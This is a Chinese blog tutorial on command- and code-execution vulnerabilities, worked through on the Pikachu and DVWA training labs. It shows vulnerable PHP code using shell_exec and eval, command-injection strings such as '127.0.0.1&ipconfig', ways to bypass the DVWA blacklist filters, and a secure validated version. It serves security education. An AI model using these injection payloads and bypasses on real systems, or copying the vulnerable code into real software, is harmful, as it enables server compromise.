23-命令执行漏洞（一）

已于 2024-06-22 19:25:35 修改
阅读量676 收藏 7
点赞数 14
分类专栏： 渗透测试 文章标签： 网络安全 安全 web安全 网络攻击模型 安全性测试 威胁分析 网络
于 2024-05-15 09:47:25 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_42321190/article/details/138871390
版权

环境准备：虚拟机windows2003  phpstudy2016   pikachu、dvwa靶场环境   bp

1.1命令与代码执行原理:

命令执行原理：设计者在编写代码时没有做严格的安全控制，导致攻击者通过接口或相关参数提交“意想不到”的命令，从而让后台进行执行，从而控制整个后台服务器 。

代码执行原理：没有对对接口输入的内容进行严格判断，造成攻击者精心构造的代码非法执行。

命令执行原理：

exec'ping'

打开pikachu靶场，查看exec "ping"源代码：

发现：参数给变量未经过滤，使用了不安全函数shell_exec

if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
    $ip=$_POST['ipaddress'];
//     $check=explode('.', $ip);可以先拆分，然后校验数字以范围，第一位和第四位1-255，中间两位0-255
    if(stristr(php_uname('s'), 'windows')){
//         var_dump(php_uname('s'));
        $result.=shell_exec('ping '.$ip);//直接将变量拼接进来，没做处理
    }else {
        $result.=shell_exec('ping -c 4 '.$ip);
    }

命令执行测试方法：
&
&&
|
||

命令执行：（可以执行操作系统命令)
前提：参数给变量未经过滤
如只能填写ip地址执行ipconfig：
&： 127.0.0.1&ipconfig
--前后有错误都会被执行
&&： 127.0.0.1&&ipconfig 
--前后错误只会执行&前面
|:127.0.0.1|ipconfig、127.0.0.1| ipconfig
--前后错误只会执行|后面的，用|绕过，可加多个空格（操作系统执行不影响）
||： 127.0.0.1||ipconfig、127.0.0.1|| ipconfig
--前后错误都会执行，用||绕过，可加多个空格（操作系统执行不影响）
​
系统命令执行：
assert、system、exec、shell_exec、``(反单引号）、passthru、pcntl_exec、popen、proc_open（前五个常用）
​
代码执行：
eval（一般木马使用eval）、assert、phpinfo()、call_user_func、base64_decode、gzinflate、 gzuncompress、gzdecode、str_rot13
​
struts2框架命令执行漏洞：
s2-005、s2-009、s2-013、s2-016、s2-019、devmode、s2-032、s2-037、s2-045、s2-048、s2-052、s2-057

windows系统命令参数

正常命令执行：

C:\Documents and Settings\Administrator>ping 127.0.0.1&ipconfig

Pinging 127.0.0.1 with 32 bytes of data:

Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128

Ping statistics for 127.0.0.1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

Windows IP Configuration


Ethernet adapter 本地连接:

   Connection-specific DNS Suffix  . :
   IP Address. . . . . . . . . . . . : 10.0.0.101
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.0.254
-------------------------------------------------------------------------

& ：前后有错误都会被执行：

-----------

C:\Documents and Settings\Administrator>ping 127.0.0.1ABC&ipconfigABC
Ping request could not find host 127.0.0.1ABC. Please check the name and try aga
in.
'ipconfigABC' 不是内部或外部命令，也不是可运行的程序
或批处理文件。

&&：前后有错误只会执行&前面

C:\Documents and Settings\Administrator>ping 127.0.0.1ABC&&ipconfigABC
Ping request could not find host 127.0.0.1ABC. Please check the name and try aga
in.

|：前后有错误只会执行|后面

C:\Documents and Settings\Administrator>ping 127.0.0.1ABC|ipconfigABC
'ipconfigABC' 不是内部或外部命令，也不是可运行的程序
或批处理文件。

||：前后有错误都会被执行

C:\Documents and Settings\Administrator>ping 127.0.0.1ABC||ipconfigABC
Ping request could not find host 127.0.0.1ABC. Please check the name and try aga
in.
'ipconfigABC' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
代码执行原理：
代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

常用：eval

exec "eval"

打开pikachu靶场，exec "eval"输入：

phpinfo();

查看exec "eval"源代码：

 使用了代码执行函数：（eval）

（参数给变量未经过滤，使用不安全函数eval）

if ($SELF_PAGE = "rce_evel.php"){
    $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}

$PIKA_ROOT_DIR =  "../../";
include_once $PIKA_ROOT_DIR . 'header.php';

$html='';
if(isset($_POST['submit']) && $_POST['txt'] != null){
    if(@!eval($_POST['txt'])){
        $html.="<p>你喜欢的字符还挺奇怪的!</p>";

 代码成功执行

1.2命令执行一般出现那些地方
只要带参数的地方都可能出现命令执行漏洞

常见的路由器、防火墙、入侵检测、自动化运维平台
1.3 如何挖命令执行漏洞
（1）执行系统命令:
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号）
（2）代码执行与加密: 
eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
 （3）文件包含与生成:
require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
 （4）.htaccess:
SetHandler, auto_prepend_file, auto_append_file

1.4dvwa靶场环境测试
Low级别

可执行：

127.0.0.1&ipconfig、127.0.0.1&&ipconfig、127.0.0.1||ipconfig、127.0.0.1|| ipconfig

 low级别没过滤漏洞代码：


<?php
​
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
​
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
​
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
​
?>

 可执行方式：127.0.0.1&ipconfig、127.0.0.1&&ipconfig、127.0.0.1||ipconfig、127.0.0.1|| ipconfig
​
检查提交按钮： 使用 isset($_POST['Submit']) 检查用户是否已点击了名为 "Submit" 的表单提交按钮。
获取用户输入的IP： 从POST请求中获取IP地址，存储在变量 $target 中。
操作系统检测： 使用 stristr 函数检测操作系统，如果php_uname('s')（操作系统名称）中包含 "Windows NT"，则认为是Windows系统；否则，视为类Unix系统（如Linux或macOS）。
执行ping命令： 根据操作系统类型，使用 shell_exec 函数执行相应的ping命令。在Windows中，不带参数直接执行ping命令；而在类Unix系统中，使用 -c 4 参数限制发送4个ICMP回显请求。
没有进行IP地址的有效性检查，也没有进行任何安全预防措施.

Medium级别
127.0.0.1&ipconfig
<?php
​
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
​
    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );
​
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
​
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
​
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
​
?>

 可执行方式：127.0.0.1&ipconfig、127.0.0.1&&&ipconfig
设置黑名单： 创建一个数组 $substitutions，其中包含需要替换的字符（'&&' 和 ';'），它们可能被用于命令注入攻击。

High级别

可执行：

127.0.0.1|| ipconfig
<?php
​
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);
​
    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
​
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
​
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
​
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
​
?>

 可执行方式：127.0.0.1|| ipconfig
获取用户输入的IP： 从POST请求中获取IP地址，使用 trim 函数去除前导和尾随空格，然后存储在变量 $target 中。
设置黑名单： 创建一个数组 $substitutions，包含需要替换的字符，这些字符可能被用于构建危险的命令注入攻击。
清理用户输入： 使用 str_replace 函数，将黑名单中的字符替换为空字符串，以降低命令注入的风险。

impossible级别

ping ip无漏洞代码：


<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

无漏洞方式注解：
反CSRF令牌验证： checkToken 函数用于验证user_token与session_token是否匹配，以防止跨站请求伪造（CSRF）攻击。这两个变量分别来自POST请求和会话（$_SESSION）。

获取用户输入的IP： 从POST请求中获取IP地址，然后使用 stripslashes 函数移除可能存在的反斜杠转义。

IP地址分割： 使用 explode 函数将IP地址按点分隔成四个部分（称为八位字节）。

验证八位字节： 使用 is_numeric 检查每个八位字节是否为数字，并确保数组长度为4，以确保输入是有效的IP地址。

重新组合IP地址： 如果所有八位字节都有效，将它们重新组合成一个完整的IP地址。

操作系统检测： 使用 stristr 函数检测操作系统，如果是Windows，则执行Windows版本的ping命令；否则，执行Unix/Linux版本的ping命令。

执行ping命令： 根据操作系统类型，使用 shell_exec 函数执行相应的ping命令。Windows中不带参数，而Unix/Linux中使用 -c 4 参数限制发送4个ICMP回显请求。

声明：

  • 此文章只做技术研究，谨遵守国家相关法律法规，请勿用于违法用途，如果您对文章内容有疑问，可以尝试留言私信，如有侵权请联系小编处理。
Xlbb.
关注
专栏目录
渗透测试-命令执行漏洞
课嗨教育的专栏
09-06 585
当应用需要调用一些外部程序去处理内容的情况下，就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等，当用户可以控制命令执行函数中的参数时，将可以注入恶意系统命令到正常命令中，造成命令执行攻击。这里还是主要以PHP为主介绍命令执行漏洞，Java等应用的细节待补充。
WEB安全基础 - - -命令执行漏洞
weixin_67503304的博客
07-28 1745
简要介绍命令执行漏洞的原理，总结了常用的PHP代码执行函数。
渗透测试 [命令执行漏洞]
npc88888的博客
03-12 1057
system(args) 有回显passthru(args)(有回显)exec(args) （回显最后一行-必须 echo 输出）shell_exec(args) （无回显-必须输出）反引号：`` popen(handle,mode)(无回显)proc_open('cmd','flag','flag')（无回显）
某oa命令执行漏洞挖掘思路
最新发布
liguangyao213的博客
09-18 799
网安面试指南》《Java代码审计》《Web安全》前段时间看到某系统爆出一个RCE，随后找到了源码对漏洞进行分析，并利用历史漏洞找到了其他突破点，进而找到新的漏洞。前段时间看到某系统爆出一个RCE，随后找到了源码对漏洞进行分析，并利用历史漏洞找到了其他突破点，进而找到新的漏洞。
命令执行漏洞
qq_53086690的博客
04-19 331
OS命令执行漏洞 部分Web应用程序提供了一些命令执行的操作，例如像测试XX网站是否可以正常连接，那么Web应用程序底层就很可能去调用系统操作命令，如果此处没有过滤好用户输入的数据，很可能就会形成命令执行漏洞。 在DVWA上提供了测试域名/IP的Ping服务。并将Ping执行过程显示出来。 在Windows的CMD命令框中输入ping www.baidu.com && net user最终会显示俩命令的结果 在Windows系统下，&&的作用是将两条命令连接起来，在Linux
渗透测试-一文了解命令执行漏洞和代码执行漏洞
lza20001103的博客
04-23 2023
渗透测试-一文了解命令执行漏洞和代码执行漏洞
Web安全：命令执行漏洞 测试（防止 黑客利用此漏洞.）
网络安全领域___专研者.
05-27 642
系统命令执行一般是在Web应用中，可能有时候需要调用一些系统命令来执行，而程序在开发的时候没有对输入进行严格的过滤，导致恶意用户可以构造一些恶意的系统命令，从而达成系统命令执行攻击.
【基础篇】第07篇：PHP代码审计笔记--命令执行漏洞1
08-03
【PHP代码审计笔记--命令执行漏洞1】这篇文章主要讲解了PHP中的命令执行漏洞，这是一个严重的安全问题，允许攻击者通过浏览器在远程服务器上执行任意系统命令。与代码执行漏洞不同，命令执行漏洞更加专注于系统级别...
CVE-2020-24581 D-Link DSL-2888A 远程命令执行漏洞分析1
08-03
D-Link DSL-2888A是一款由D-Link公司制造的统一服务路由器，它在AU_2.31_V1.1.47ae55之前的版本中存在一个严重的安全漏洞，即CVE-2020-24581，这是一个授权问题导致的远程命令执行漏洞。此漏洞的成因在于路由器固件...
spring Framework 远程命令执行漏洞CVE-2022-22965漏洞脚本自用
10-27
首先，我们需要理解什么是远程命令执行漏洞。RCE漏洞允许攻击者通过网络在目标系统上执行任意命令，通常是因为程序处理用户输入时存在不安全的代码实践。在Spring4Shell漏洞中，问题出在Spring MVC和Spring WebFlux...
浅析JDWP远程命令执行漏洞 [ Mi1k7ea ]1
08-03
2022/3/2 下午8:30浅析JDWP远程命令执漏洞 [ Mi1k7ea ]https://www.mi1k7ea.com/2021/08/06/浅析JDW
命令执行漏洞和代码执行漏洞
weixin_68416970的博客
09-05 1096
命令执行漏洞（Command Execution Vulnerability）和代码执行漏洞（Code Execution Vulnerability）都是远程代码执行（Remote Code Execution, RCE）的类型，它们允许攻击者在目标系统上执行任意命令或代码。
【网络安全】命令执行漏洞
边缘拼命划水的小陈
04-19 1410
等函数用来执行系统命令。当黑客能控制这些函数的参数时，就可以讲恶意的系统命令拼接到正常的命令中，就会命令执行攻击，这就是命令执行漏洞。应用程序中有时候需要调用一些执行系统命令的函数，在php中常见的为。使用webshell工具连接。linux 操作系统。
网站安全防护公司对渗透测试步骤检测讲解
网站安全专家
10-10 603
哈喽大家好,近期我们Sine安全对客户平台进行渗透测试的时候,发现有一些命令执行的漏洞测试语句和函数,导致服务器被提权被入侵,上一节提到XSS跨站脚本攻击检测方法,本章来总和一下脚本执行命令的详细检测手段,以及绕过waf的办法,只有这样详细的对平台进行安全测试才能保障整个平台安全稳定。 3.5.1. 简介 命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。 该类漏洞通常出现...
安全测试之命令执行漏洞【建议收藏】
HSS919的博客
03-16 560
命令执行漏洞就是服务器端没有对客户端用户输入的命令进行过滤，导致用户可以通过任意拼接系统命令，使服务器端成功执行任意系统命令。为什么客户端能直接对服务器执行命令呢，因为在服务器安装的web程序，web框架和web组件等外部程序有时候去需要调用执行命令的函数，所以如果没有对客户端用户输入的命令进行过滤，就会使得用户通过外部程序直接编写和执行系统的命令函数。
命令执行测试
酷狗直播-锦凡歆的博客
05-23 473
在应用需要调用一些外部程序去处理内容的情况下，就会用到一些执行系统命令的函 数。如PHP中的system、exec、shell_exec等，当用户可以控制命令执行函数中的参数时， 将可注入恶意系统命令到正常命令中，造成命令执行攻击。测试中如果没有对参数（如 cmd=、command、excute=等）进行过滤，就可以直接造成命令执行漏洞或配合绕过及命 令连接符（在操作系统中，“&amp...
PHP代码审计10—命令执行漏洞
W0ngk，一个安全菜鸡，一直在模仿，尚未有超越。
08-04 2136
php命令执行基础与CTF例题分析
命令执行漏洞挖掘技巧分享
xv7777666的博客
04-23 315
2.业务逻辑处理直接拼接用户可控参数区执行系统命令或者拼凑回调函数代码，中途无任何安全过滤比如说: 应用有时需要调用一些执行系统命令的函数，如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等，当用户能控制这些函数中的参数时，就可以将恶意系统命令拼接到正常命令中，从而造成命令执行攻击，这就是命令执行漏洞。还有哪些地方可能存在命令执行呢？我们常常知道，命令执行漏洞多数在白盒测试中被挖掘出来，即使我们挖了命令执行，也只是第三方的框架漏洞居多！
泛微e-mobile 6.0远程命令执行漏洞
09-06
泛微e-mobile 6.0远程命令执行漏洞是指泛微e-mobile 6.0版本中存在的一种安全漏洞，攻击者可以利用该漏洞通过远程方式执行恶意命令，从而获取系统权限并对系统进行非法操作。 该漏洞的产生是因为泛微e-mobile 6.0在...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Xlbb.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值